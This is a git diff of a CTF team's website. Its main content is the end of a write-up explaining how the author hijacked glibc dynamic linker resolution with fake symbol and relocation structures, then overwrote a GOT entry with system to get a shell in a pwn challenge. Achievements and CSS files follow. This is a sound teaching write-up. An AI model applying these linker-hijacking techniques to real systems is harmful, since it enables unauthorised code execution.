`STRTAB` (`0x66`) giving the name of the symbol. + - Type of the symbol (e.g. `STT_FUNC` since `atoi` is a function). + - Linkage visibility (e.g. `STB_GLOBAL`) + - Section where the symbol can be found + - Value (i.e. offset where the symbol can be found, in most cases) +4. Read the name of the symbol from `STRTAB` by using `ref.st_name`. +5. Iterate over all currently loaded libraries, by iterating over all `link_map`s. For each `link_map`, do the following: + 1. Use some hash table magic to quickly determine if the name of the symbol is exported by this library. + 2. Use this to retrieve the symbol (named `sym` hereinafter) defined in the `SYMTAB` of the current `link_map`. + 3. Check that the name originally retrieved in 4. matches the name found at `STRTAB[sym.st_name]` of the current `link_map`. + 4. If yes, then return the found `sym`. +6. If we found the symbol in the previous step (let it be `sym` in `link_map` `map`), write `map.l_addr + sym.st_value` where the relocation told us to (`atoi@.got.plt` in the example), where `map.l_addr` specifies the base address of the library described by `map`. +7. Return `map.l_addr + sym.st_value`, so that the caller can also call into the resolved symbol (remember, originally we wanted to call e.g. `atoi` and to first resolve it). + +Some of the referenced structures for the example `atoi` look as follows: + +- Relocation for `atoi` in `libmod`: +```c +Elf64_Rela { + r_offset = 0x4038, + r_info = ELF64_R_INFO(6, ELF_MACHINE_JMP_SLOT), + r_addend = 0 +} +``` +- Symbol for `atoi` in `libmod` (most fields are empty, since it is an external symbol): +```c +Elf64_Sym { + st_name = 0x66, + st_info = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC), + st_other = 0, + st_shndx = 0, + st_value = 0, + st_size = 0, +} +``` +- Symbol for `atoi` in `libc` (will be used to fill in `atoi@.got.plt`, when `atoi` called the first time in `libmod`): +```c +Elf64_Sym { + st_name = 0x4f60, + st_info = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC), + st_other = 0, + st_shndx = 0xf, + st_value = 0x43640, + st_size = 0x19, +} +``` + +Hopefully, this gives you enough of an understanding to follow the rest of the writeup. +However, we are unfortunately not quite done yet with linker internals. + +### `_dl_fini` + +Fortunately, this part should be a lot simpler to understand. +Whenever a dynamically linked binary terminates normally (e.g. calling `exit` or just returning from `main`), `_dl_fini` will be invoked first, to cleanup all the dynamically loaded libraries and call their registered destructors. +This looks something like this: + +1. Collect all loaded libraries in a list, by iterating through all `link_map`s. +2. Sort them based on dependencies, but the main binary must always be first. +3. Iterate over the sorted list and for every `link_map`: + 1. Load the array specified by the `FINI_ARRAY` table from `link_map`. + 2. Call all functions in that array. + 3. Call the function specified by the `FINI` item from `link_map`, if it exists. + +### `link_map.l_info` + +The locations of these tables / sections (e.g. `SYMTAB`, `STRTAB`, `JMPREL`, `FINI_ARRAY`, `FINI`) are all stored in the `l_info` member of a `link_map`. +In particular, an entry in `l_info` is a pointer to a `struct Elf64_Dyn`, which is defined as follows: + +```c +typedef struct +{ + Elf64_Sxword d_tag; /* Dynamic entry type */ + union + { + Elf64_Xword d_val; /* Integer value */ + Elf64_Addr d_ptr; /* Address value */ + } d_un; +} Elf64_Dyn; +``` + +Since the `d_tag` is never checked in any of the interesting `dl_*` functions, we can safely ignore that part and only worry about `d_un`. +`d_un` then stores a pointer to the relevant section / table in memory[^5]. + +With all this knowledge about dynamic linker internals out of the way, we can now finally delve into the actual exploit. + +## `fini` is not the End of the Line + +My hunch was now that I had to mess with my `link_map`, such that `_dl_fixup` will incorrectly resolve a symbol. +I played around a bit more with overwriting only parts of the `link_map`, but then I suddenly realized something. +I was crashing during the resolution of `atoi` - which was not resolved yet - since my writes were done entirely in gdb. +If my writes were done "properly" using `modify`, `atoi` would have been already resolved and I would not be crashing there. +I quickly retried, this time first doing one useless write of `0` to offset `0`, then overwriting in gdb and finally exiting: + +![SIGSEGV at the correct place](./img/segv2.png) + +It seems that my initial idea would be a bit harder to pull off, since all functions would be resolved already, right? +Not entirely, since `fini` of the main binary calls `exit_imm`, which of course has not been resolved yet. +By setting a breakpoint at `_dl_fixup` and not modifying the `link_map`, I indeed observed the call to `_dl_fixup` from inside `fini`: + +![`_dl_fixup` call](./img/dl_fixup.png) + +This lead me to formulate a plan. + +## Stage 1: Achieving Calls of Arbitrary Addresses Relative `libmod` + +By modifying `l_info` of the `libmod` `link_map`, we can influence where the dynamic linker thinks `SYMTAB` and `STRTAB` are located. +In particular, we can make them be after the `gbuf` and hence arbitrarily attacker controlled. +We can therefore construct a fake symbol that is named `exit_imm`, but has a value (and hence resolved address) of anything we want. +Since the resolved address will be calculated as the value of the symbol (controlled) plus the base address of `libmod`, we can make `exit_imm` resolve to any address relative to `libmod`. +Because `exit_imm` is called, the resolved address is called and we hence have a call to an arbitrary address, relative to `libmod`. + +### Home Grown vs. Store Bought libc + +While we do not control the arguments that are passed to `exit_imm` (indeed `$rsi` is `0`, so resolving to e.g. `system` would never work), we "just" need to make `exit_imm` resolve to a one gadget in libc and we have a shell, right? +After all, shared libraries are always loaded at a constant offset from each other and so a relative offset from `libmod` can also get us addresses to libc gadgets. +Even though the constant offset is very dependent on the environment and we are not given a docker setup for this challenge, we can always bruteforce the offset in a pinch. + +Unfortunately, the libc used on the server is "home-built glibc-2.3x". +Therefore, we can likely not use an one gadgets directly. +We might be able to also bruteforce the one gadget offsets, but it started to sound like this was not the intended way. + +### It Works on my Machine! + +After some discussion with the author over DMs, it was revealed that the remote had a modified dynamic linker, where the individual dynamic libraries were loaded at a random offset! +My current strategy would definitely not pan out then. +In my opinion, this crucial detail should have been included in the challenge description. +Furthermore, there should have been a docker setup, to test the challenge locally, as the offset between `gbuf` and `link_map` is highly dependent on the environment. +Therefore, I first had to bruteforce this offset on remote, which felt quite unnecessary. + +To bruteforce the offset, I noticed that `_dl_fini` has some asserts, if triggered could be a good indicator that we hit the right offset. +In particular, it makes sure that for all `link_map`s, `link_map.l_real == link_map`. +Therefore, we could try to overwrite `link_map.l_real` for every possible offset, if we see the assertion message, we have hit the correct one. +However, if we accidentally overwrite `link_map.l_next` instead, then the assertion might still trigger, since the iteration will then use a bogus `link_map` next. +Hence, our actual target is `link_map.l_next` and to verify, we make sure that `offset+0x10` (i.e. overwriting `link_map.l_real`) also triggers the assertion. + +This gives us an offset of `0x13e0` for the remote. + +### Implementing the Attack + +As explained before, we change the `link_map` such that `SYMTAB` and `STRTAB` are after `gbuf` and hence can be controlled by us as well, with the OOB writes. +To achieve that, I overwrite the lowest two bytes of the `Elf64_Dyn` pointer for `SYMTAB` and `STRTAB`, such that it now points inside the `l_info` array. +Therefore, `d_un` would contain pointers that were pointing somewhere relative to `libmod` and I could then overwrite the lowest two bytes of that pointer again to make `SYMTAB` and `STRTAB` point to after `gbuf`: + +```c +// before overwrite +0x7ffff7fb9e98: Elf64_Dyn { d_tag = 5, d_un = 0x7ffff7fb6460 } +0x7ffff7fb9ea8: Elf64_Dyn { d_tag = 6, d_un = 0x7ffff7fb6328 } +// ... +0x7ffff7fbb220: link_map { + // ... + l_info[5] = 0x7ffff7fb9e98, + l_info[6] = 0x7ffff7fb9ea8, + // ... +0x7ffff7fbb330: + l_info[26] = 0x7ffff7fb9e68, + l_info[27] = 0x7ffff7fb9e58, + // ... +} + +// after overwrite +0x7ffff7fbb220: link_map { + // ... + l_info[5] = 0x7ffff7fbb330, + l_info[6] = 0x7ffff7fbb330, + // ... +0x7ffff7fbb330: Elf64_Dyn { d_tag = 0x7ffff7fb9e68, d_un = 0x7ffff7fba098 } // interpretation of two entries below + l_info[26] = 0x7ffff7fb9e68, + l_info[27] = 0x7ffff7fba098, + // ... +} +``` + +**Note:** Since only the lowest 3 nibbles are not randomized by ASLR, this requires us to bruteforce the 4th nibble. It is only a 4-bit brute force though, so it is fine. +The official solution has a much better idea. Instead, we can just make the `l_info` entires for `SYMTAB` and `STRTAB` use the entry for a different section, that is much closer to `gbuf`, such as the `.got.plt` section. + +Once we have `SYMTAB` and `STRTAB` under our control, it becomes pretty simple. +Observe the index into `SYMTAB` used for the `exit_imm` resolution, then create a fake symbol at that offset: + +```c +Elf64_Sym { + st_name = 0, // useful, since this means we need to call modify less often + st_info = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC), + st_other = 0, + st_shndx = 0xe, + st_value = 0x1054, // whatever we want to call, this specific one will be explained later + st_size = 0, +} +``` + +We also need to write `exit_imm` to `STRTAB` at the fake `STRTAB` location. +With that out of the way, we can proceed with the next stage. + +## Stage 2: Achieving Calls to Arbitrary Functions by Name in libc + +After realizing we could not directly call into libc using stage 1, I assumed we had to further trick the linker into e.g. calling system for us. +Indeed, I then realized I could use stage 1 to call one of the existing `got` stub functions and (even though everything was already resolved), it would try to resolve things again. +However, since the `link_map` is now under our control, we can change which symbol `_dl_fixup` will try to resolve. +Furthermore, since the stub function will call the resolved symbol, this also means we can call an arbitrary symbol, as long as one of the loaded libraries exports it. + +### Implementation + +**Note:** My exploit during the CTF created a fake relocation entry here. While writing this writeup, I realized this is actually not needed at all as becomes evident later! + +First we have to modify `l_info` for `JMPREL`, such that we can create a fake relocation. +This is done the exact same way as before and `SYMTAB`, `STRTAB` and `JMPREL` are all at the same place. +Then, we make the fake relocation refering to a fake symbol which we want to resolve: + +```c +Elf64_Rela { + r_offset = 0x4038, // explained later why this is necessary + r_info = ELF64_R_INFO(11, ELF_MACHINE_JMP_SLOT), // the symbol index here was necessary, since I ran out of bytes to write and this happens to point to something that can be interpreted as a valid symbol :) + r_addend = 0, +} +``` + +As explained in the comment, the fake symbol is not really controlled this time around, but that does not matter. +The only important bit of the symbol is that the name index is not too large (so we can control the name). +The fake symbol will therefore be: + +```c +Elf64_Sym { + st_name = 0x1080, + // ... some other values, we don't actually care +} +``` + +## Stage 3: Achieving Calls to Arbitrary Addresses Relative to libc? + +At this point I could call arbitrary functions inside libc, but I had no control over the arguments. +In particular, `rdi` was fixed to 0, meaning `system` was just returning empty. +At this point, I was trying to pivot back to using a `one_gadget`. +I noticed that I could also reach libc's `link_map` with my OOB write. +Therefore, I could change `link_map.l_addr` for libc and hence mess with the resolved address for any function by adding a constant offset. +However, none of the `one_gadget`s of my local libc would work with the register state. +Furthermore, without the remote libc, it would still be very hard to actually exploit this. +I had to come up with a new idea. + +## Stage 3: ~~Achieving Calls to Arbitrary Addresses Relative to libc?~~ Rewriting the GOT + +Suddenly I remembered an important fact. +At the end of `_dl_fixup`, it would write the resolved address to whatever offset the relocation was specifying. +Indeed, if I would specify `atoi@.got.plt`, it would write whatever address it resolved (e.g. `system`) there and any further calls to `atoi` from `libmod` would instead call into `system`! +As explained at the very beginning, if the call to `exit_imm` returns normally instead of exiting immediately, control will flow into the menu function, which incidentally calls `getint`, eventually resulting in `atoi(getline())`, i.e. calling `atoi` with controlled input! +Therefore, I just had to specify `atoi@.got.plt` as the offset for the fake relocation and make sure `exit_imm` would return normally. +Indeed, since I replaced `exit_imm` with the call to the got stub function (which in turn calls `system`), it would return normally. + +Although this idea should have only required minimal changes, during the CTF I had to rework quite a bit of my exploit, since it initially used one byte too much. + +### No Shell For You + +Unfortunately, when I tried this locally, it would crash during the final call to `system` (i.e. with the controlled argument), due to stack alignment. +My teammate jokingly suggested to just throw it against remote and I naivly assumed he was serious. +After around 40 attempts (remember it should only be a 4-bit bruteforce), I was just about to kill my tmux panes, when I noticed that one of them spat out the flag! +Good thing I thought my teammate was serious :P + +### Later Realizations + +As touched on before, this exploit does not actually need to have a fake relocation. +Indeed, we can just reuse the `atoi` relocation and everything works the same (besides having to create a fake symbol for `system`). +This alone saves around 5 bytes in the exploit. + +## Conclusion + +In the end, I learned a lot (actually way too much) about the internals of `ld`. +The challenge was kinda fun and invoking some eldritch linker magic to get the shell felt quite satisfying. +Nevertheless, I still think a local environment would have prevented some pain points, especially since I was not the only one who could not get the full exploit to work locally due to stack alignment. + +You can find the original exploit I used during the CTF [here](https://gist.github.com/galli-leo/ae8ac3c0baa331d408a5de5212aeed76). +You can find a slightly modified version that does not need a fake relocation [here](https://gist.github.com/galli-leo/31ddf1861a19ffffba9bf1eb7d29aadb). + + +[^1]: Very much appreciated, I think more CTFs should start providing source for pwn challenges that do not need (IMO) unnecessary rev components. + +[^2]: Or at least not without some eldritch magic, as you will see later ;) + + + +[^4]: This is important and took me way too long to use to my advantage. + +[^5]: There is a flag in the `link_map` that turns the absolute addresses `d_un.d_ptr` into relative offsets from `link_map.l_addr`, but that ended up not being useful in my exploit. \ No newline at end of file diff --git a/achievements/README.md b/achievements/README.md new file mode 100755 index 0000000..ea98df5 --- /dev/null +++ b/achievements/README.md @@ -0,0 +1,53 @@ +# Achievements + +## 2022 + +* **[World champions](https://ctftime.org/stats/2022) of CTF**. + +* [1st place](https://ctftime.org/event/1725) at the ASIS CTF finals. + +* [1st place](https://ctftime.org/event/1806) at RCTF. + +* [1st place](https://ctftime.org/event/1772) at HITCON CTF. + +* [1st place](https://ctftime.org/event/1764) at the SECCON CTF qualifiers. + +* [1st place](https://ctftime.org/event/1727) at Hack.lu CTF. + +* [3rd place](https://ctftime.org/event/1574) at the ASIS CTF qualifiers. + +* [2nd place](https://ctftime.org/event/1697) at Balsn CTF. + +* [2nd place](https://ctftime.org/event/1688) at CTFZone. + +* [6th place](https://ctftime.org/event/1662) at the DEF CON CTF finals. + +* [1st place](https://ctftime.org/event/1656) at corCTF. + +* [1st place](https://ctftime.org/event/1696) at MCH CTF. + +* [3rd place](https://ctftime.org/event/1695) at ENOWARS. + +* [1st place](https://ctftime.org/event/1615) at the m0leCon CTF qualifiers. + +* [1st place](https://ctftime.org/event/1588) at ångstromCTF. + +* [3rd place](https://ctftime.org/event/1542) at PlaidCTF + +* [1st place](https://ctftime.org/event/1538) at the CODEGATE CTF qualifiers. + +* [1st place](https://ctftime.org/event/1541) at DiceCTF. + +## 2021 + +* [2nd place](https://ctftime.org/stats/2021) in the world ranking of CTF teams. + +* [2nd place](https://ctftime.org/event/1447) at hxp CTF. + +* [6th place](https://ctftime.org/event/1524) at HITB PRO CTF. + +* [1st place](https://ctftime.org/event/1452) at Hack.lu CTF. + +* [1st place](https://ctftime.org/event/1357) at the finals of 0CTF/TCTF. + +* [Finalists](https://oooverflow.io/dc-ctf-2021-finals/) at DEF CON CTF. \ No newline at end of file diff --git a/achievements/index.html b/achievements/index.html new file mode 100755 index 0000000..8af1f26 --- /dev/null +++ b/achievements/index.html @@ -0,0 +1,282 @@ + + + + + +Achievements | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Achievements

+ +

2022

+ + + +

2021

+ + + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/assets/css/highlight.css b/assets/css/highlight.css new file mode 100755 index 0000000..cef56fc --- /dev/null +++ b/assets/css/highlight.css @@ -0,0 +1,91 @@ +/* code highlight */ + +.main-content code, +.main-content pre{ + color: var(--code-text); + background-color: var(--code-bg); +} + +.main-content code{ + color: var(--inline); + padding: 5px; + border-radius: 3px; +} + +.main-content .highlight *{ + font-weight: normal!important; +} + +.main-content pre { + color: var(--code-text); + background-color: var(--code-bg); + border: none; + border-radius: 0rem; +} + +.main-content pre > code{ + color: var(--code-text); +} + +.highlight{ + border: none; +} + +.highlight code{ + background-color: var(--code-bg); + color: #F9EAE1; +} + +.highlighter-rouge .highlight{ + background-color: var(--code-bg); +} + +.highlight .o{ + font-weight: normal; +} + +.highlight .nt { + color: #00cca0; +} + +.highlight .gi, .highlight .gd { + color: var(--code-text); + padding: 2px; + background-color: rgb(35, 134, 54, 0.3); +} + +.highlight .kr{ + color: var(--code-text); +} + +.highlight .gd { + background-color: rgb(218, 54, 51, 0.42); +} + +.highlight .k, .highlight .kv, .highlight .ow{ + color: #faba09; +} + +.highlight .o, .highlight .bp, .highlight .kn, .highlight .kd, .highlight .nl{ + color: #f92472; +} + +.highlight .nc, .highlight .nf, .highlight .nb{ + color: #73e6fe; +} + +.highlight .mi, .highlight .mh, .highlight .mf{ + color: #ac80ff; +} + +.highlight .nn{ + color: #efeae1; +} + +.highlight .s, .highlight .s2{ + color: #ff695a; +} + +.highlight .kt { + color: #00cca0; +} \ No newline at end of file diff --git a/assets/css/light.css b/assets/css/light.css new file mode 100755 index 0000000..5ef4bcb --- /dev/null +++ b/assets/css/light.css @@ -0,0 +1,84 @@ +html.light-theme{ + --bg: #f2efed; + --text: #141414; + --text-dim: #141414; + --link: #006aa2; + --highlight-zero: #1547C4; + --highlight-one: #5c21b7; + --highlight-two: #FF3232; + --dim: #494f51; + --code-text: #000; + --code-bg: #f7fcff; + --border-line: #0002; + --inline: #FF3232; +} + +html.light-theme +.main-content table{ + display: table; + box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.12), 0 2px 10px 0 rgba(0, 0, 0, 0.06); +} + +html.light-theme .main-content table th, +html.light-theme .main-content table td{ + border: 1px solid var(--border-line); + background-color: var(--bg); +} + + +html.light-theme .highlight code{ + background-color: var(--code-bg); + color: #10294c; +} + +html.light-theme .highlighter-rouge .highlight{ + background-color: var(--code-bg); + color: #10294c; + border-radius: 5px; +} + +html.light-theme .highlight .nt { + color: #005cc5; +} + +html.light-theme .highlight .gi, html.light-theme .highlight .gd { + color: var(--code-text); + padding: 2px; + background-color: rgb(35, 134, 54, 0.3); +} + +html.light-theme .highlight .gd { + background-color: rgb(218, 54, 51, 0.42); +} + +html.light-theme .highlight .k, html.light-theme .highlight .kv, html.light-theme .highlight .ow{ + color: #d73a49; +} + +html.light-theme .highlight .bp{ + color: #005cc5; +} + +html.light-theme .highlight .o, html.light-theme .highlight .kn, html.light-theme .highlight .kd, html.light-theme .highlight .nl{ + color: #d73a49; +} + +html.light-theme .highlight .p, html.light-theme .highlight .nf, html.light-theme .highlight .nc, html.light-theme .highlight .nb{ + color: #6f42c1; +} + +html.light-theme .highlight .mi, html.light-theme .highlight .mh, html.light-theme .highlight .mf{ + color: #005cc5; +} + +html.light-theme .highlight .nn{ + color: #e36209; +} + +html.light-theme .highlight .s, html.light-theme .highlight .s2{ + color: #005cc5; +} + +html.light-theme .highlight .kt { + color: #008f70; +} diff --git a/assets/css/style.css b/assets/css/style.css new file mode 100755 index 0000000..93b47b1 --- /dev/null +++ b/assets/css/style.css @@ -0,0 +1,411 @@ +/*! normalize.css v3.0.2 | MIT License | git.io/normalize */ +/** 1. Set default font family to sans-serif. 2. Prevent iOS text size adjust after orientation change, without disabling user zoom. */ +@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,700&display=swap"); +@import url("https://rsms.me/inter/inter.css"); +@import url("https://fonts.googleapis.com/css2?family=Cousine:wght@300;400;500;600;700&display=swap"); +html { font-family: sans-serif; /* 1 */ -ms-text-size-adjust: 100%; /* 2 */ -webkit-text-size-adjust: 100%; /* 2 */ } + +/** Remove default margin. */ +body { margin: 0; } + +/* HTML5 display definitions ========================================================================== */ +/** Correct `block` display not defined for any HTML5 element in IE 8/9. Correct `block` display not defined for `details` or `summary` in IE 10/11 and Firefox. Correct `block` display not defined for `main` in IE 11. */ +article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } + +/** 1. Correct `inline-block` display not defined in IE 8/9. 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera. */ +audio, canvas, progress, video { display: inline-block; /* 1 */ vertical-align: baseline; /* 2 */ } + +/** Prevent modern browsers from displaying `audio` without controls. Remove excess height in iOS 5 devices. */ +audio:not([controls]) { display: none; height: 0; } + +/** Address `[hidden]` styling not present in IE 8/9/10. Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22. */ +[hidden], template { display: none; } + +/* Links ========================================================================== */ +/** Remove the gray background color from active links in IE 10. */ +a { background-color: transparent; } + +/** Improve readability when focused and also mouse hovered in all browsers. */ +a:active, a:hover { outline: 0; } + +/* Text-level semantics ========================================================================== */ +/** Address styling not present in IE 8/9/10/11, Safari, and Chrome. */ +abbr[title] { border-bottom: 1px dotted; } + +/** Address style set to `bolder` in Firefox 4+, Safari, and Chrome. */ +b, strong { font-weight: bold; } + +/** Address styling not present in Safari and Chrome. */ +dfn { font-style: italic; } + +/** Address variable `h1` font-size and margin within `section` and `article` contexts in Firefox 4+, Safari, and Chrome. */ +h1 { font-size: 2em; margin: 0.67em 0; } + +/** Address styling not present in IE 8/9. */ +mark { background: #ff0; color: #000; } + +/** Address inconsistent and variable font size in all browsers. */ +small { font-size: 80%; } + +/** Prevent `sub` and `sup` affecting `line-height` in all browsers. */ +sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } + +sup { top: -0.5em; } + +sub { bottom: -0.25em; } + +/* Embedded content ========================================================================== */ +/** Remove border when inside `a` element in IE 8/9/10. */ +img { border: 0; } + +/** Correct overflow not hidden in IE 9/10/11. */ +svg:not(:root) { overflow: hidden; } + +/* Grouping content ========================================================================== */ +/** Address margin not present in IE 8/9 and Safari. */ +figure { margin: 1em 40px; } + +/** Address differences between Firefox and other browsers. */ +hr { box-sizing: content-box; height: 0; } + +/** Contain overflow in all browsers. */ +pre { overflow: auto; } + +/** Address odd `em`-unit font size rendering in all browsers. */ +code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } + +/* Forms ========================================================================== */ +/** Known limitation: by default, Chrome and Safari on OS X allow very limited styling of `select`, unless a `border` property is set. */ +/** 1. Correct color not being inherited. Known issue: affects color of disabled elements. 2. Correct font properties not being inherited. 3. Address margins set differently in Firefox 4+, Safari, and Chrome. */ +button, input, optgroup, select, textarea { color: inherit; /* 1 */ font: inherit; /* 2 */ margin: 0; /* 3 */ } + +/** Address `overflow` set to `hidden` in IE 8/9/10/11. */ +button { overflow: visible; } + +/** Address inconsistent `text-transform` inheritance for `button` and `select`. All other form control elements do not inherit `text-transform` values. Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera. Correct `select` style inheritance in Firefox. */ +button, select { text-transform: none; } + +/** 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio` and `video` controls. 2. Correct inability to style clickable `input` types in iOS. 3. Improve usability and consistency of cursor style between image-type `input` and others. */ +button, html input[type="button"], input[type="reset"], input[type="submit"] { -webkit-appearance: button; /* 2 */ cursor: pointer; /* 3 */ } + +/** Re-set default cursor for disabled elements. */ +button[disabled], html input[disabled] { cursor: default; } + +/** Remove inner padding and border in Firefox 4+. */ +button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; } + +/** Address Firefox 4+ setting `line-height` on `input` using `!important` in the UA stylesheet. */ +input { line-height: normal; } + +/** It's recommended that you don't attempt to style these elements. Firefox's implementation doesn't respect box-sizing, padding, or width. 1. Address box sizing set to `content-box` in IE 8/9/10. 2. Remove excess padding in IE 8/9/10. */ +input[type="checkbox"], input[type="radio"] { box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } + +/** Fix the cursor style for Chrome's increment/decrement buttons. For certain `font-size` values of the `input`, it causes the cursor style of the decrement button to change from `default` to `text`. */ +input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } + +/** 1. Address `appearance` set to `searchfield` in Safari and Chrome. 2. Address `box-sizing` set to `border-box` in Safari and Chrome (include `-moz` to future-proof). */ +input[type="search"] { -webkit-appearance: textfield; /* 1 */ /* 2 */ box-sizing: content-box; } + +/** Remove inner padding and search cancel button in Safari and Chrome on OS X. Safari (but not Chrome) clips the cancel button when the search input has padding (and `textfield` appearance). */ +input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } + +/** Define consistent border, margin, and padding. */ +fieldset { border: 1px solid #c0c0c0; margin: 0 2px; padding: 0.35em 0.625em 0.75em; } + +/** 1. Correct `color` not being inherited in IE 8/9/10/11. 2. Remove padding so people aren't caught out if they zero out fieldsets. */ +legend { border: 0; /* 1 */ padding: 0; /* 2 */ } + +/** Remove default vertical scrollbar in IE 8/9/10/11. */ +textarea { overflow: auto; } + +/** Don't inherit the `font-weight` (applied by a rule above). NOTE: the default cannot safely be changed in Chrome and Safari on OS X. */ +optgroup { font-weight: bold; } + +/* Tables ========================================================================== */ +/** Remove most spacing between table cells. */ +table { border-collapse: collapse; border-spacing: 0; } + +td, th { padding: 0; } + +.highlight table td { padding: 5px; } + +.highlight table pre { margin: 0; } + +.highlight .cm { color: #999988; font-style: italic; } + +.highlight .cp { color: #999999; font-weight: bold; } + +.highlight .c1 { color: #999988; font-style: italic; } + +.highlight .cs { color: #999999; font-weight: bold; font-style: italic; } + +.highlight .c, .highlight .cd { color: #999988; font-style: italic; } + +.highlight .err { color: #a61717; background-color: #e3d2d2; } + +.highlight .gd { color: #000000; background-color: #ffdddd; } + +.highlight .ge { color: #000000; font-style: italic; } + +.highlight .gr { color: #aa0000; } + +.highlight .gh { color: #999999; } + +.highlight .gi { color: #000000; background-color: #ddffdd; } + +.highlight .go { color: #888888; } + +.highlight .gp { color: #555555; } + +.highlight .gs { font-weight: bold; } + +.highlight .gu { color: #aaaaaa; } + +.highlight .gt { color: #aa0000; } + +.highlight .kc { color: #000000; font-weight: bold; } + +.highlight .kd { color: #000000; font-weight: bold; } + +.highlight .kn { color: #000000; font-weight: bold; } + +.highlight .kp { color: #000000; font-weight: bold; } + +.highlight .kr { color: #000000; font-weight: bold; } + +.highlight .kt { color: #445588; font-weight: bold; } + +.highlight .k, .highlight .kv { color: #000000; font-weight: bold; } + +.highlight .mf { color: #009999; } + +.highlight .mh { color: #009999; } + +.highlight .il { color: #009999; } + +.highlight .mi { color: #009999; } + +.highlight .mo { color: #009999; } + +.highlight .m, .highlight .mb, .highlight .mx { color: #009999; } + +.highlight .sb { color: #d14; } + +.highlight .sc { color: #d14; } + +.highlight .sd { color: #d14; } + +.highlight .s2 { color: #d14; } + +.highlight .se { color: #d14; } + +.highlight .sh { color: #d14; } + +.highlight .si { color: #d14; } + +.highlight .sx { color: #d14; } + +.highlight .sr { color: #009926; } + +.highlight .s1 { color: #d14; } + +.highlight .ss { color: #990073; } + +.highlight .s { color: #d14; } + +.highlight .na { color: #008080; } + +.highlight .bp { color: #999999; } + +.highlight .nb { color: #0086B3; } + +.highlight .nc { color: #445588; font-weight: bold; } + +.highlight .no { color: #008080; } + +.highlight .nd { color: #3c5d5d; font-weight: bold; } + +.highlight .ni { color: #800080; } + +.highlight .ne { color: #990000; font-weight: bold; } + +.highlight .nf { color: #990000; font-weight: bold; } + +.highlight .nl { color: #990000; font-weight: bold; } + +.highlight .nn { color: #555555; } + +.highlight .nt { color: #000080; } + +.highlight .vc { color: #008080; } + +.highlight .vg { color: #008080; } + +.highlight .vi { color: #008080; } + +.highlight .nv { color: #008080; } + +.highlight .ow { color: #000000; font-weight: bold; } + +.highlight .o { color: #000000; font-weight: bold; } + +.highlight .w { color: #bbbbbb; } + +.highlight { background-color: #f8f8f8; } + +* { box-sizing: border-box; } + +body { padding: 0; margin: 0; font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 16px; line-height: 1.5; color: #606c71; } + +#skip-to-content { height: 1px; width: 1px; position: absolute; overflow: hidden; top: -10px; } +#skip-to-content:focus { position: fixed; top: 10px; left: 10px; height: auto; width: auto; background: #e19447; outline: thick solid #e19447; } + +a { color: #1e6bb8; text-decoration: none; } +a:hover { text-decoration: underline; } + +.btn { display: inline-block; margin-bottom: 1rem; color: rgba(255, 255, 255, 0.7); background-color: rgba(255, 255, 255, 0.08); border-color: rgba(255, 255, 255, 0.2); border-style: solid; border-width: 1px; border-radius: 0.3rem; transition: color 0.2s, background-color 0.2s, border-color 0.2s; } +.btn:hover { color: rgba(255, 255, 255, 0.8); text-decoration: none; background-color: rgba(255, 255, 255, 0.2); border-color: rgba(255, 255, 255, 0.3); } +.btn + .btn { margin-left: 1rem; } +@media screen and (min-width: 64em) { .btn { padding: 0.75rem 1rem; } } +@media screen and (min-width: 42em) and (max-width: 64em) { .btn { padding: 0.6rem 0.9rem; font-size: 0.9rem; } } +@media screen and (max-width: 42em) { .btn { display: block; width: 100%; padding: 0.75rem; font-size: 0.9rem; } + .btn + .btn { margin-top: 1rem; margin-left: 0; } } + +.page-header { color: #fff; text-align: center; background-color: #159957; background-image: linear-gradient(120deg, #155799, #159957); } +@media screen and (min-width: 64em) { .page-header { padding: 5rem 6rem; } } +@media screen and (min-width: 42em) and (max-width: 64em) { .page-header { padding: 3rem 4rem; } } +@media screen and (max-width: 42em) { .page-header { padding: 2rem 1rem; } } + +.project-name { margin-top: 0; margin-bottom: 0.1rem; } +@media screen and (min-width: 64em) { .project-name { font-size: 3.25rem; } } +@media screen and (min-width: 42em) and (max-width: 64em) { .project-name { font-size: 2.25rem; } } +@media screen and (max-width: 42em) { .project-name { font-size: 1.75rem; } } + +.project-tagline { margin-bottom: 2rem; font-weight: normal; opacity: 0.7; } +@media screen and (min-width: 64em) { .project-tagline { font-size: 1.25rem; } } +@media screen and (min-width: 42em) and (max-width: 64em) { .project-tagline { font-size: 1.15rem; } } +@media screen and (max-width: 42em) { .project-tagline { font-size: 1rem; } } + +.main-content { word-wrap: break-word; } +.main-content :first-child { margin-top: 0; } +@media screen and (min-width: 64em) { .main-content { max-width: 64rem; padding: 2rem 6rem; margin: 0 auto; font-size: 1.1rem; } } +@media screen and (min-width: 42em) and (max-width: 64em) { .main-content { padding: 2rem 4rem; font-size: 1.1rem; } } +@media screen and (max-width: 42em) { .main-content { padding: 2rem 1rem; font-size: 1rem; } } +.main-content kbd { background-color: #fafbfc; border: 1px solid #c6cbd1; border-bottom-color: #959da5; border-radius: 3px; box-shadow: inset 0 -1px 0 #959da5; color: #444d56; display: inline-block; font-size: 11px; line-height: 10px; padding: 3px 5px; vertical-align: middle; } +.main-content img { max-width: 100%; } +.main-content h1, .main-content h2, .main-content h3, .main-content h4, .main-content h5, .main-content h6 { margin-top: 2rem; margin-bottom: 1rem; font-weight: normal; color: #159957; } +.main-content p { margin-bottom: 1em; } +.main-content code { padding: 2px 4px; font-family: Consolas, "Liberation Mono", Menlo, Courier, 